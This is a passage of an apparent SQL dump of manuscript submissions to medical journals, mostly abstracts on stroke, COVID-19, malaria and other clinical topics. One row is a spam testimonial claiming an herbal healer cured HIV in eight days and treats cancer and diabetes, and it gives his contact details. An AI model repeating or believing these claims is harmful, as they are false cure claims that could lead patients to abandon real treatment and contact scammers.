thermoregulation, heat management',4048,NULL,'2020-11-01',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6559,7817,73,0,NULL,'Cu',NULL,2,1,'Care ','God bless Dr. Ewan for his marvelous work in my life, I was dagnosed of HIV since 2011 and I was taking my medications, I wasn\'t satisfied i needed to get the HIV. out of my system, I searched about some possible cure for HIV i saw a comment about Dr.Ewan how he cured HIV with his herbal medicine, I contacted him and he guided me. I asked for solutions, he started the remedy for my health, he sent me the medicine through UPS SPEED POST. I took the medicine as prescribed by him and 8 days later i was cured from HIV, you can email him at email:( drewanherbalhome@gmail.com ) Once again thank you sir DR Ewan sausage cure the flowing virus, or reach me with his mobile number or whatapps ( +2348142763136 )\r\nhere are the illness he can cure>\r\n1 cancer cure\r\n2 diabetes cure\r\n3 ringing ear\r\n4 herpes cure\r\n5 warts cure\r\n6 HiV cure\r\nplease i want every one with this virus to be free and be cured, that is why am dropping his email address. Email. (drewanherbalhome@gmail.com) call or what-sapp him on +2348142763136 do not hesitate to email him, he is a good and a great man (drewanherbalhome@gmail.com ) thank you for saving my life, and I promise I will always and forever testify for your good work','God bless Dr. Ewan for his marvelous work in my life, I was dagnosed of HIV since 2011 and I was taking my medications, I wasn\'t satisfied i needed to get the HIV. out of my system, I searched about some possible cure for HIV i saw a comment about Dr.Ewan how he cured HIV with his herbal medicine, I contacted him and he guided me. I asked for solutions, he started the remedy for my health, he sent me the medicine through UPS SPEED POST. I took the medicine as prescribed by him and 8 days later i was cured from HIV, you can email him at email:( drewanherbalhome@gmail.com ) Once again thank you sir DR Ewan sausage cure the flowing virus, or reach me with his mobile number or whatapps ( +2348142763136 )\r\nhere are the illness he can cure>\r\n1 cancer cure\r\n2 diabetes cure\r\n3 ringing ear\r\n4 herpes cure\r\n5 warts cure\r\n6 HiV cure\r\nplease i want every one with this virus to be free and be cured, that is why am dropping his email address. Email. (drewanherbalhome@gmail.com) call or what-sapp him on +2348142763136 do not hesitate to email him, he is a good and a great man (drewanherbalhome@gmail.com ) thank you for saving my life, and I promise I will always and forever testify for your good work',4028,NULL,'2020-11-01',NULL,'Submitted',4,NULL,'2020-11-02',NULL,1,0,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(6564,7823,73,0,'ipjnn-20-6564','Insulin-like growth factor 1 increases in r-TPA treated  ischemic stroke patients',NULL,14,2,'','Recombinant tissue plasminogen activator (r-TPA) is approved as a\r\ntreatment of patients with acute ischemic stroke through its\r\nthrombolytic action. many studies discuss the pivotal role of\r\nr-TPA in improving neuroplasticity  Our aim of the work was\r\nTo detect the effect of receiving r-TPA as a treatment  for acute ischemic stroke, on the level of insulin-like growth factor 1 (IGF-1) as a biomarker of neuroplasticity\r\n','Stroke; r-TPA; Neuroplasticity; NIHSS; IGF-1; insulin-like growth factor',338,NULL,'2020-11-02',NULL,'Submitted',19,NULL,'2020-11-13',NULL,1,1,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(6572,7831,86,0,'ipaom-20-6572','Antibody testing for Covid-19: An open-labelled, pan-European prevalence study in front-line essential workers; UK and Ireland reporting',NULL,13,0,'','Introduction\r\nThe Covid-19 pandemic has resulted in major disruptions to business activity and changed the way we work; many governments and employers have mandated working-from-home (WFH) wherever possible. A limited number of essential key workers have continued to attend their usual workplace throughout the pandemic. There have been few studies assessing the prevalence of Covid-19 infection across a variety of population, as well as the impact on the infection rate when employees returning to work.\r\nAim\r\nTo estimate the prior SARS-CoV-2 exposure rate in Accord  HC  employees and compare this to regional and national statistics, as well as to monitor the impact of the infection rate when all employees return to the office. This may provide reassurance and  support to many organisations and the economy when return to work is implemented for ubiquitously. \r\nMethod\r\nAll eligible Accord HC employees in the UK and Ireland working across a variety of departments and locations (e.g. office, factory, field, or home based) were voluntarily  invited to have an antibody test using lateral flow serology for SARS-CoV-2 throughout June and July 2020. The primary endpoint is the proportion of positive and negative cases, presented as negative (no exposure), recent exposure (IgM positive and IgG positive), or previous exposure (IgM negative ang IgG positive). Secondary endpoints include comparisons against national statistics and regional statistics, sub-group analysis (age, gender, ethnicity), impact of a relaxed lock-down on the infection rate, and proportion of positive antigen tests. Exploratory endpoints include duration of antibody presence in the body to provide additional data with regards to possible re-infection. \r\nResults\r\nA large majority of all employees (80.5%; n=1,018) volunteered to participate in the study. The results showed 2.5% (n=25) of the employees tested positive for Covid-19 (defined as showing either IgG or IgM antibodies). This is considerably lower than the government published weighted prevalence among blood donors of 6.7% (95% CI 6.1% - 7.3%) in England. Of the 25 individuals tested positive, 17 (1.7%) individuals has prior exposure of Covid-19 with only IgG antibodies and 8 individuals (0.8%) had a more recent exposure (IgM and IgG antibodies). No individuals presented with sole IgM antibody detection. \r\nConclusion\r\nOur study is believed to be the first of this kind showing a significantly lower exposure rates compared to national statistics. This could be explained by the early action taken by the company to initiate working from home for all non-essential employees (two weeks before lockdown), as well as implementing the 2-metre social distancing requirement, effective use of PPE, and structured policy and procedure in relation to Covid-19. The persistence of the antibody detection in those testing positives via monthly re-testing may provide further data regarding protection against re-infection. \r\n','Covid\r\nCovid-19\r\nAnti-body\r\nKey workers\r\nEpidemiology\r\nImmunity',3386,NULL,'2020-11-03',NULL,'Submitted',2,NULL,'2021-01-26',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(6580,7837,73,0,'ipjnn-20-6580','Biopsychosocial Implications of Crystal Methamphetamine Abuse: A Review of Literature',NULL,15,0,'','Background: Drugs primarily affect the way individuals think, feel and behave with regard to the world around them. Illicit substances such as crystal methamphetamine show a strong association to abnormalities in the process of neurotransmission. \r\nObjective: The main aim of this review is to analyze substance abuse and abnormalities in neurotransmission focusing on crystal methamphetamine and its physiological, psychological and social implications.\r\nMethods: An extensive systematic electronic review (EBSCOhost, JSTOR, ProQuest Science, Science Direct, Research Gate, Google Scholar and PubMed) were used. Research articles and books were searched using the keywords ‘effects of crystal methamphetamine’, ‘neurotransmission in substance abuse’, ‘substance abuse by homosexual males’. \r\nResults and Conclusion: This thematic review draws close attention to the physiological changes, psychological disorders and abuse of crystal methamphetamine among homosexual men tested positive for Human Immunodeficiency Virus (HIV) as well as a need for better health social care services and treatment in order to overcome homophobic stigmatization.','Crystal methamphetamine, substance abuse, neurotransmission,  neurotransmitters, homosexual males, HIV',352,NULL,'2020-11-04',NULL,'Submitted',2,NULL,'2021-02-04',NULL,1,1,'0','accept with revision.',0,'','',NULL,0,0,0,NULL,0),(6582,7839,277,0,'ipadm-20-6582','EN RESCATE DE LAS CÉLULAS BETA, “LIRAGLUTIDE” COMO PARTE DEL TRATAMIENTO DE DIABETES MELLITUS TIPO 2',NULL,9,0,'','En la presente carta al editor se trata de plasmar la importancia que tiene liraglutida en el tratamiento de la diabetes mellitus tipo 2 ; pero no solamente como un aliado en el tratamiento  farmacológico sino por su capacidad fisiológica en este tipo de pacientes .En los cuales va a tener efectos positivos en las células beta, que son las principales fuentes de producción de insulina en el páncreas ,las mismas que tienden a desaparecer con el tiempo debido a su apoptosis en los pacientes con diabetes mellitus tipo 2 ya que es una enfermedad progresiva que tiende a desaparecerlas con el pasar de los años. Entonces liraglutida no solo se enfoca en la reducción de los típicos problemas que suele dar la enfermedad en si , sino que pretende retrasar la progresión de la dm2 y con ello sus prontas complicaciones tanto microvasculares o macrovasculares.','Palabras claves:  Diabetes Mellitus tipo 2, Liraglutide',2805,NULL,'2020-11-05',NULL,'Submitted',2,NULL,'2020-11-23',NULL,1,1,'1','La carta al editor es aceptada para su publicación.',0,'','',NULL,0,0,0,NULL,0),(6584,7841,326,0,'IPJUS-20-6584','The importance of Followership in a crisis - Lessons learnt from a survey of junior doctors\' perception of leadership during the COVID-19 pandemic',NULL,14,0,'','Background\r\nClinical leadership is an intense skill leading to safer patient outcomes, while followership is the flip side of good leadership. Coronavirus disease-2019 (COVID-19) pandemic has tested both leadership and followership, and as followers\' expectations multiplied, we conducted this single centre survey to assess junior doctors\' perception of leadership.\r\nMaterials and Methods\r\nWe performed an online cross-sectional survey, among the non-consultant group of doctors in all specialities at The Princess Alexandra Hospital NHS Trust United Kingdom (UK), over two weeks (20 April 2020 till 03 May 2020).\r\nResults\r\n55 doctors responded to the survey. 32(58.2%) of the participants had had their rota changed during COVID-19 pandemic and 32(58.2%) felt that changes to their working patterns affected their morale. 22(40%) participants of the survey believed that they did not have an adequate supply of personal protective equipment (PPE). 33(60%) felt stressed during the pandemic. 16(29.1%) had to take time off due to illness, of which 9(52.9%) felt well supported by their colleagues and seniors. 23(41.8%) of doctors were not satisfied by their departmental leadership, and 51(92.7%) felt that their leaders were definitely or probably working beyond their competence. \r\nConclusion \r\nCrisis management during the COVID-19 pandemic was associated with a degree of uncertainty and involved complex and rapid changes in workforce management and clinical protocols. Whilst trust and co-operation between clinical leaders and team members was crucial in maintaining good patient outcomes, the results of our survey highlight the fact that issues faced by the followers in times of crisis do impact their perception of leadership.','Junior doctor, leadership, followership, perception, COVID-19',3103,NULL,'2020-11-05',NULL,'Submitted',2,NULL,'2020-12-07',NULL,1,1,'0','Accept this manuscript for publication.',0,'','',NULL,0,0,0,NULL,0),(6591,7849,73,0,'ipjnn-20-6591','Preclinical Evaluation of Poly Herbal Formulation for Its Nootropic Activity in laboratory Animals',NULL,14,0,'','Learning and memory are two fundamental cognitive functions that confer us the ability to accumulate knowledge from our experiences. Learning refers to the acquisition of any new information about the events occurring in surroundings and subsequent retrieval of this information is referred to as memory. Memory is one of the most complex functions of the brain and ultimately involves multiple neuronal pathways and neurotransmitters. Loss of memory is nothing but Amnesia. Common form of amnesia is Dementia. This research article gives idea about types and evaluation of nootropic drugs by using various models in amnesia induced animal. The rational for this therapy is based on the increasing knowledge of the mechanisms of the dementia. According to standards of Ayurveda, combination of more than one drugs usually show synergistic pharmacological activity as compared to single drug. \r\nIn the present study scientific evaluation was carried out by using Poly Herbal Formulation (asparagus racemosus + alangium salviifolium + clitoria ternate + ziziphus jujube) to prove nootropic potential. In conclusion data produced from the study shows significant neuroprotection and memory enhancement by extracts of given PHF at a dose of 200mg/kg body weight and 400mg/kg body weight, but rather than higher dose it is more effective at lower dose. Also, in this study concentration of dopamine of all groups animals were determined.  \r\n','',352,NULL,'2020-11-06',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6592,7849,73,0,'ipjnn-20-6592','A review: An Amnesia Disorder',NULL,15,0,NULL,'Learning and memory are two fundamental cognitive functions that confer us the ability to accumulate knowledge from our experiences. Learning refers to the acquisition of any new information about the events occurring in surroundings and subsequent retrieval of this information is referred to as memory. Memory is one of the most complex functions of the brain and ultimately involves multiple neuronal pathways and neurotransmitters. Loss of memory is nothing but Amnesia. Common form of amnesia is Dementia. This review article gives idea about types and evaluation of nootropic drugs by using various models in amnesia induced animal.','Nootropic, Amnesia',352,NULL,'2020-11-06',NULL,'Submitted',4,NULL,'2021-02-09',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6617,7873,73,0,'ipjnn-20-6617','NEUROSCIENCE: THE CONNECTIVE BOSS OF HUMAN BODY CORRELATES INTEL SOFTWARE',NULL,15,0,'not applicable','In biology, the nervous system is a highly complex part of an animal that coordinates its actions and sensory information by transmitting signals to and from different parts of its body. The nervous system detects environmental changes that impact the body, then works in tandem with the endocrine system to respond to such events. Nervous tissue first arose in organisms about 550 to 600 million years ago. In vertebrates it consists of two main parts, the nervous system (CNS) and the peripheral nervous system (PNS). The CNS consists of the brain and spinal cord. The PNS consists mainly of nerves, which are enclosed bundles of the long fibres or axons, that connect the CNS to every other part of the body. Nerves that transmit signals from the brain are called motor or efferent nerves, while those nerves that transmit information from the body to the CNS are called sensory or afferent. Spinal nerves serve both functions and are called mixed nerves. The PNS is divided into three separate subsystems, the somatic, autonomic, and enteric nervous systems. Somatic nerves mediate voluntary movement. The autonomic nervous system is further subdivided into the sympathetic and the parasympathetic nervous systems. The sympathetic nervous system is activated in cases of emergencies to mobilize energy, while the parasympathetic nervous system is activated when organisms are in a relaxed state. The enteric nervous system functions to control the gastrointestinal system. Both autonomic and enteric nervous systems function involuntarily. Nerves that exit from the cranium are called cranial nerves while those exiting from the spinal cord are called spinal nerves.','Central nervous system, Autonomic nervous system, Peripheral nervous system, Sympathetic nervous system, Parasympathetic nervous system, Spinal nerves, Somatic nervous',3431,NULL,'2020-11-09',NULL,'Submitted',4,NULL,'2021-02-04',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6630,4560,326,0,'IPJUS-20-6630','An Editorial on ‘Surgery in COVID times in tertiary care’',NULL,5,0,NULL,'An Editorial on ‘Surgery in COVID times in tertiary care’','surgery, COVID, resident training',2505,NULL,'2020-11-11',NULL,'Submitted',2,NULL,'2020-12-10',NULL,1,1,'0','This manuscript is accepted for publication.',0,NULL,NULL,NULL,0,0,0,NULL,0),(6631,7887,971,0,'ipaclr-20-6631','Magnesium in ketamine administration in treatment-resistant depression',NULL,14,0,'','Title\r\nMagnesium in ketamine administration in treatment-resistant depression.\r\n\r\nBackground\r\nRelationship between depression and magnesium levels is reported. This observational study examined whether serum magnesium concentration change over time of ketamine treatment course, also whether association between magnesium concentrations and treatment response measured with MADRS score occurs. Moreover, interlink between changes in YMRS score, somatic comorbidities and magnesium concentration was studied. \r\n\r\nMethods and Findings\r\nInpatients with major depressive disorder or bipolar disorder were rated weekly by clinician using MADRS and YMRS. Magnesium levels assessments were carried out weekly, before start of ketamine treatment and then every second infusion and one week after last ketamine infusion. The concentration of Mg2+ ions differs depending on the measurement, F(4) = 5.22; p =  0.001; η2p = 0.11. The Mg2+ concentration in pre measurement was significantly higher than in measurement after 5 infusion (p = 0.031) and after 7 infusion (p = 0.003). No significant correlation was observed between changes in Mg serum levels and MADRS or YMRS. The concentration of Mg2+ ion in course of the treatment was not associated with somatic comorbidities. \r\n\r\nConclusion\r\nThe study supports data for role of magnesium in TRD, particularly related to ketamine treatment, but provides no clear evidence of straightforward association between magnesium serum concentration and treatment response or comorbidity. \r\n','magnesium, ketamine, depression',3249,NULL,'2020-11-11',NULL,'Submitted',4,NULL,'2021-02-08',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6638,7769,277,0,'ipadm-20-6638','Recanalización transfemoral de arteria radial tras embolización de malformación arteriovenosa cerebral. Caso clínico.',NULL,2,0,NULL,'El acceso transradial para procedimientos endovasculares está siendo cada vez más utilizado debido a las ventajas que ofrece frente al acceso transfemoral. La trombosis de la arteria radial es una complicación frecuente pero generalmente tiene un curso asintomático. Presentamos el caso de una mujer de 42 años con antecedentes de embolización de malformación arteriovenosa por acceso transradial con importantes datos de isquemia de la mano posterior. Se realizó recanalización y angioplastia de arteria radial por acceso transfemoral con éxito, saliendo de quirófano con recuperación de pulso radial. No presentó complicaciones a los 30 días.','Palabras clave: trombosis radial, recanalización transfemoral, complicación de acceso radial.',2805,NULL,'2020-11-12',NULL,'Submitted',2,NULL,'2020-11-23',NULL,1,1,'1','Un caso clínico se ha presentado bien con la imagen. Recomiendo este manuscrito para su publicación',0,NULL,NULL,NULL,0,0,0,NULL,0),(6641,6984,277,0,'ipadm-20-6641','HEMORRAGIA SUBARACNOIDEA ANEURISMÁTICA ',NULL,15,0,NULL,'La hemorragia subaracnoidea (HSA) constituye una verdadera emergencia neurológica dado que el grado de discapacidad y la tasa de mortalidad que acarrea son elevados, a pesar del impacto positivo en los desenlaces finales que representa el avance en su diagnóstico y manejo. El origen aneurismático de la misma es la principal causa en los eventos no traumáticos. Su abordaje incluye medidas de soporte general y la reparación del aneurisma, de la cual aún se discute la técnica idónea, puesto que aunque la terapia endovascular, de elección en muchos centros, parece mostrar mejores resultados en términos de morbi-mortalidad al año del procedimiento, ante condiciones específicas la terapia quirúrgica con clipaje continúa siendo la primera línea de manejo. Finalmente, dada la intensidad de la respuesta inflamatoria local y sistémica esta patología puede acompañarse de complicaciones intracraneales como resangrado, vasoespasmo, isquemia cerebral tardía, hidrocefalia,  hipertensión endocraneana, y extracraneales como manifestaciones cardiovasculares, alteraciones hidroelectrolíticas, entre otras, que en resumen hacen tan complejo, como perentorio el entendimiento de su patogenia, su detección temprana y su abordaje integral.','Hemorragia subaracnoidea, aneurisma, terapia endovascular, terapia quirúrgica con clipaje, complicaciones, vasoespasmo, isquemia cerebral tardía, hidrocefalia',2805,NULL,'2020-11-12',NULL,'Submitted',2,NULL,'2020-11-23',NULL,1,1,'1','El manuscrito brinda información sólida sobre la hemorragia subaracnoidea. La detección temprana de este es una parte crucial del manejo de la patogénesis. El artículo de revisión explicó con mucha profundidad en detalle. Acepta el manuscrito',0,NULL,NULL,NULL,0,0,0,NULL,0),(6642,6984,277,0,'ipadm-20-6642','Estenosis crítica de la arteria carótida interna: evento raro en un adulto joven. Reporte de caso',NULL,2,0,NULL,'Introducción, la estenosis critica de la arteria carótida interna (ACI) es poco frecuente en adultos menores de 45 años. Está asociada múltiples factores de riesgo, y dentro de ellos con menor frecuencia, se han documentado los trastornos del colágeno como la vasculitis, existiendo además una amplia variación en la gravedad de la presentación clínica. Caso Clínico, paciente de 23 años que ingresó al servicio de urgencias, con cefalea fontoparietal derecha más signos de bandera roja y hemiparesia izquierda de predominio braquial; que desarrolló lesiones isquémicas a nivel subcortical y paraventricular, comprometiendo el lóbulo parietal derecho secundario a estenosis critica de la (ACI) derecha en su segmento supraclinoideo que no se sometió a ningún tipo de procedimiento de revascularización quirúrgica o endovascular. Conclusiones, se presentó un caso de estenosis de la ACI, con alta sospecha que la causa de estenosis en nuestra paciente joven sin factores de riesgo sea el debut de una colagenopatía, a pesar de que los marcadores inmunológicos en el momento estén negativos. Se destaca un factor de riesgo importante, madre con Lupus eritematoso sistémico. Se indicó tratamiento con terapia antiplaquetaria y estatinas; no se inició terapia inmunosupresora, ni se realizó angioplastia con balón sin stent indicado de manera inicial, por el riesgo de ruptura de vaso; pero si el manejo médico inicial falla y la paciente persiste con isquemias cerebrales documentadas con estudios de imágenes seriadas de manera periódica, se contemplará la posibilidad de tratamiento invasivo basado en el riesgo/beneficio.','accidente cerebrovascular; agregación plaquetaria; angiografía cerebral; estenosis carotíde; procedimientos endovasculares; vasculitis',2805,NULL,'2020-11-12',NULL,'Submitted',2,NULL,'2020-12-17',NULL,1,1,'1','El manuscrito brinda información sólida sobre la hemorragia subaracnoidea. La detección temprana de este es una parte crucial del manejo de la patogénesis. El artículo de revisión explicó con mucha profundidad en detalle. Acepta el manuscrito',0,NULL,NULL,NULL,0,0,0,NULL,0),(6643,6984,277,0,'ipadm-20-6643','Síndrome de DRESS, reacción farmacológica inducida por vancomicina.',NULL,2,0,NULL,'La reacción medicamentosa con eosinofilia asociada a síntomas sistémicos, conocido como DRESS (por sus siglas en inglés Drug Reaction Eosinophilia and Systemic Syndrome), es un síndrome grave y raro que conlleva a una elevada mortalidad, asociado al uso de medicamentos, siendo más frecuente los antibióticos, antihipertensivos y antiepilépticos.  Las principales manifestaciones incluyen fiebre, erupción morbiliforme, eosinofilia y compromiso multiorgánico principalmente hepático, no obstante, para poder corroborar su diagnóstico se encuentan con escalas como el RegiSCAR. El tratamiento incluye la supresión del agente causante y uso de corticosteroides sistémicos. Describimos un caso raro de síndrome de DRESS en una mujer sometida a tratamiento con vancomicina para osteomielitis en columna vertebral con importante mejoría con el tratamiento','Síndrome de hipersensibilidad por drogas; Vancomicina; Eosinófilos.',2805,NULL,'2020-11-12',NULL,'Submitted',2,NULL,'2020-12-17',NULL,1,1,'1','El artículo de revisión explicó con mucha profundidad en detalle. Acepta el manuscrito',0,NULL,NULL,NULL,0,0,0,NULL,0),(6644,7901,277,0,'ipadm-20-6644','LI FRAUMENI: UN VISTAZO A UN GRAN DESCONOCIDO',NULL,5,0,'','El síndrome de Li Fraumeni es una enfermedad hereditaria, producida por una alteración en el gen TP53 y caracterizada por la aparición de múltiples cánceres tales como osteosarcomas, leucemia hipodiploide, cerebral, adrenocortical y de tejidos blandos. A la fecha no existe un diagnostico certero, sin embargo, desde su descubrimiento se han establecido una serie de criterios basados en la historia clínica del paciente y familiar. Debido a la naturaleza de este síndrome, no existe hasta el momento un tratamiento, siendo tratados igual a otro tipo de cáncer (evaluación general y exámenes completos cada 3 a 4 meses). Por tanto, esta patología supone un gran reto para la comunidad médica y científica, debido a la complejidad del diagnóstico y a las pocas opciones de tratamiento que existen.','Li fraumeni, cáncer, diagnóstico, tratamiento',2805,NULL,'2020-11-13',NULL,'Submitted',2,NULL,'2020-12-17',NULL,1,1,'0','El artículo de revisión explicó con mucha profundidad en detalle. Acepta el manuscrito',0,'','',NULL,0,0,0,NULL,0),(6645,7902,277,0,'ipadm-20-6645','Abordaje terapéutico de la enfermedad cerebrovascular isquémica de pequeños vasos',NULL,5,0,NULL,'La enfermedad cerebrovascular isquémica (ECV) es un síndrome neurológico de muchos factores que logran producir de forma individual o en conjunto una isquemia cerebral(1). Es la segunda causa más común de muerte y la principal causa de discapacidad en todo el mundo(2,3).','cerebrovascular isquémica',2794,NULL,'2020-11-13',NULL,'Submitted',2,NULL,'2020-12-17',NULL,1,1,'1',' El artículo de revisión explicó con mucha profundidad en detalle. Acepta el manuscrito',0,NULL,NULL,NULL,0,0,0,NULL,0),(6658,7918,73,0,NULL,'Neurosarcoidosis, a rare cause of the acute confusion and agitation in young patient.',NULL,2,1,'we need a urgent submission ','The objectives of this abstract to highlight that Neurosarcoidosis is an uncommon type of sarcoidosis, also it’s very severe and fatal sometimes. We have a case of a young 27 years old healthy Nigerian origin man presented with acute confusion and agitation to our acute medical unit. His medical history didn’t show any trauma, fever or weakness, he lives in the UK with no contact with TB patient All his investigations were normal FBC, Urea &electrolytes, CRP, LFTs including CSF examination, virology for HIV and Cryptococcal antigen were negative, and toxicology: drug screen also was negative. Also, he had an EEG which was revealed Bi frontal dysfunction with no ictal patterns. His imaging, the MRI /MRA brain showed thin nodular leptomeningeal inflammatory disease and isolated left pontine microhemorrhage consistent with Neurosarcoidosis and no features of infarction or vasculitis. He was commenced on a high dose of steroids while he was in the acute medical department and continued for five days. He was improved dramatically on subsequent days and discharged in a good condition.\r\nOur home massage that Neurosarcoidosis is a sporadic disease that affects 5% of all patient, and it will be fatal if not treated. Nonetheless, provided with expert care. The disease is straightforward to treat. Only a minority of patients suffer lasting neurological impairments.\r\n','authors 1 Dr MAI ELAMIN\r\n2 EINAS KHALFA ',334,NULL,'2020-11-14',NULL,'Submitted',4,NULL,'2020-12-03',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(6660,7755,45,0,'iphsj-20-6660','Malaria hotspot identification in district Bijapur, Chhattisgarh: GIS-based study',NULL,14,0,NULL,'Background: Malaria is a major health problem worldwide. For the year 2018, India and nineteen countries in sub-Saharan Africa carried almost 85% of the global malaria burden. In India, the highest API in 2018 for a district was recorded in Bijapur, Chhattisgarh. The present work was on finding malaria hotspots in this district at village level using epidemiological data, geographical features, climatic variables and population distribution. All these variables were first analysed individually and then combined maps of these individual layers generated hotspot areas of malaria transmission. Consequent suggestions for malaria control in the area were made to the concerned authorities.\r\nMethods: Annual Parasite Incidence (API), percentage of plasmodium falciparum (pf) cases out of total positive cases, population, forest cover, water bodies buffer (750m), rainfall, temperature and relative humidity were eight variables studied and used to generate hotspot maps at village level. All these variables were combined using weighted sum overlay according to their influence on malaria transmission in the study area. Pearson Correlation test was used to check if there is a statistically significant relationship between Total Positive Cases (TPC) and distance from very high-risk areas (delineated from hotspot map). To understand the role of epidemiology (API & pf percentage), geographical-climatic features and population with malaria risk, a correlation matrix between these layers was also generated.\r\nResults: 198 out of 473 studied villages in Bijapur were identified as hotspots for malaria. Usoor block was found to be at highest risk with 67.59% of villages at very high risk of malaria transmission. A significant negative Pearson correlation value (r = -0.40, at p < 0.01) between TPC and distance to very high malaria risk areas was observed. The substantial role of geography and climate in malaria incidence was also observed in correlation matrix.\r\nConclusion: GIS and remote sensing are useful tools in vector borne disease management. Malaria hotspots are helpful for decision makers to implement cost-effective malaria control and elimination methods. GIS database can be updated easily to give updated results when the latest data is available. Likewise, the strategy of disease control and eradication can be changed accordingly.','Malaria Hotspots, GIS, Remote Sensing, Epidemiology, Geographical & Climate features',685,NULL,'2020-11-15',NULL,'Submitted',14,NULL,'2020-11-20',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(6663,7921,45,0,'iphsj-20-6663','Dichlorodiphényltrichloroéthane (DDT) and breast cancer',NULL,19,2,'','Several organochlorines identified as \"hormone disruptors\" have been proposed as possible risk factors for breast cancer. DDT is a chemical (organochlorine) with insecticidal properties. It was used during the Second World War by the military to control malaria-carrying insects, and subsequently in areas where malaria is found. These effective sprays of DDT are likely to have side effects on health. Many previous studies have evaluated whether DDT is associated with the risk of breast cancer. This review presents eleven studies, two of which support the hypothesis that DDT can predict breast cancer in women. The evaluation of these studies showed that the available data are not sufficient to establish a causal relationship between DDT exposure and breast cancer. In order to confirm that DDT is a predictor of breast cancer, it is essential to conduct further experimental studies, taking into account several factors including the use of similar epidemiological methodologies to ensure comparability of results between studies. ','Breast cancer, Pesticide, Exposure, o,p´-DDT, organochlorines, p,p´-DDE, p,p´-DDT.',4076,NULL,'2020-11-15',NULL,'Submitted',19,NULL,'2021-08-03',NULL,1,1,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6665,7923,45,0,'','Level of Active  Mental Health-Related Mass Media Female Students The during COVID-19 Pandemic',NULL,9,2,'','Health-related mental issues could lead to spikes in online information search (7), therefore, this letter aims to investigate level of active mental health-related mass media. The sample of respondents were female (n=357; 22.84±5.69 years of age), Students from University of Belgrade. The survey question was completed using Google Forms forms, which are posted on the websites of all organizational units of the University of Belgrade in the period from 5 May 2020 to 24 May 2020. The obtained survey results were automatically exported to the Google spreadsheet. Response analysis was evaluated using Office programs such as Excel and SPSS 21 (SPSS Inc., Chicago, IL, USA) in relation to the relevant percentage values of the frequency of responses obtained. From the above, we can conclude how much the mass media have a negative impact on the mental health of female students','',685,NULL,'2021-12-01','2021-09-14','Submitted',19,NULL,'0000-00-00',NULL,1,0,'1','Accepted',0,'','',NULL,0,4,0,NULL,0),(6666,7924,73,0,'ipjnn-20-6666',' Influence of inflammation on cognitive status and depression in ‘’60+’’ patients',NULL,14,2,'','ABSTARCT\r\nBackground: It has been well documented that inflammation is closely related to major depression, even though it remains uncertain whether inflammation is a cause or a result of the mental illness. Meanwhile inflammatory processes may contribute to risk for  age-related brain degeneration. A new, easily calculated from white blood cell essay, and inexpensive option, suitable for routine use to show inflammation, is the measurement of the neutrophil to lymphocyte ratio (NLR), monocyte to lymphocyte ratio (MLR) and platelet to lymphocyte ratio (PLR) 1,2. Hence this study was designed to explore the role of systemic inflammation in the pathogenesis of cognitive decline and major depression by using NLR, MLR and PLR as inflammatory markers.\r\nMethods: 166 patients aged ≥ 60 years without a history of cognitive disorder were recruited. Their cognitive function and depression assessments were performed. Neutrophils, lymphocytes, monocytes and platelets counts of the participants were measured and NLR, MLR and PLR were calculated.\r\nResults: The overall prevalence of cognitive impairment among patients aged ≥ 60 years was 27.5%. The mean age of the patients was 72.02 years. In this population mild cognitive impairment had 17.6%, moderate cognitive impairment had 6.6% and severe cognitive impairment had 3.3% of the target group. Weak negative correlations were observed between NLR, PLR and cognitive function scores (r=-0.337; r=-0.326). No correlation was found between MLR and MMSE scores (r=-0.1.59). Weak negative correlation was found between MMSE scores and Geriatric Depressive Scale scores (r=-0.342). Between NLR, PLR, MLR and Geriatric Depression Scale scores were found no correlations (r=-0.008; r=0.103; r=0.126).\r\nConclusions: This study revealed negative correlation between NLR, PLR and MMSE scores. However, no significant correlation was found between MLR and MMSE scores and NLR, MLR, PLR and Geriatric Scales scores.\r\n','Cognition, depression, inflammation,geriatrics',352,NULL,'2020-11-15',NULL,'Submitted',19,NULL,'2020-11-26',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(6669,2710,639,0,NULL,'EFFECT OF DETERGENT ON THE BIOCHEMICAL VARIATIONS ON DIFFERENT TISSUE OF LABEO ROHITA.',NULL,14,0,NULL,'The biochemical components like protein, carbohydrate and lipid were estimated quantitatively in the tissue of gills, liver, kidney and muscle of control and detergent treated fishes. 	The fishes were treated with sub lethal concentrations of 1.5% for 15 days exposure and another 15 days for recovery period. The protein content of the gill of the control fish was 85.18 ± 0.68 mg/g, while in treated fish it was reduced to 43.30 ± 0.04 mg/g after 15 days exposure to detergent. The protein content of the kidney, liver and muscle of the control fish were 53.44 ± 0.03, 68.28 ± 0.05 and 94.22 ± 0.05 mg/g while in treated fish it were reduced to 60.16 ± 0.04, 60.54 ± 0.04 and 78.14 ± 0.05 mg/g after 15 days of exposure respectively.the carbohydrate and lipid content of the gills, liver and muscle also showed similar declining trend at during study period.During recovery period, the restoration of protein, carbohydrate and lipid level were found be slow and gradual.','Organ, Arial detergent, 15days, LC50,Biochemical Components.',1770,NULL,'2020-11-16',NULL,'Submitted',4,NULL,'2020-12-05',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(6677,7934,326,0,'IPJUS-20-6677','A CASE REPORT OF ACALCULUS GALL BLADDER PERFORATION WITH HUGE ABDOMINAL CYST',NULL,2,0,'','ABSTRACT:\r\nBACKGROUND: Gallbladder perforation presents in various forms with most common is the peritonitis. Most common causes include gallstones obstructing the cystic duct and necrosis of gall bladder due to ischemia.\r\nCASE PRESENTATION:  A 19-year-old female presented in the emergency department of EAST Surgical Ward of MAYO Hospital Lahore, Pakistan with history of abdominal distension for 4 months for which she was counselled to be because of pregnancy. She gave birth to healthy baby one month back but abdominal distension didn’t resolve. On examination, she had distended and tender abdomen with visible striae. She was tachycardiac with pulse of 124 per minute and blood pressure of 110/80 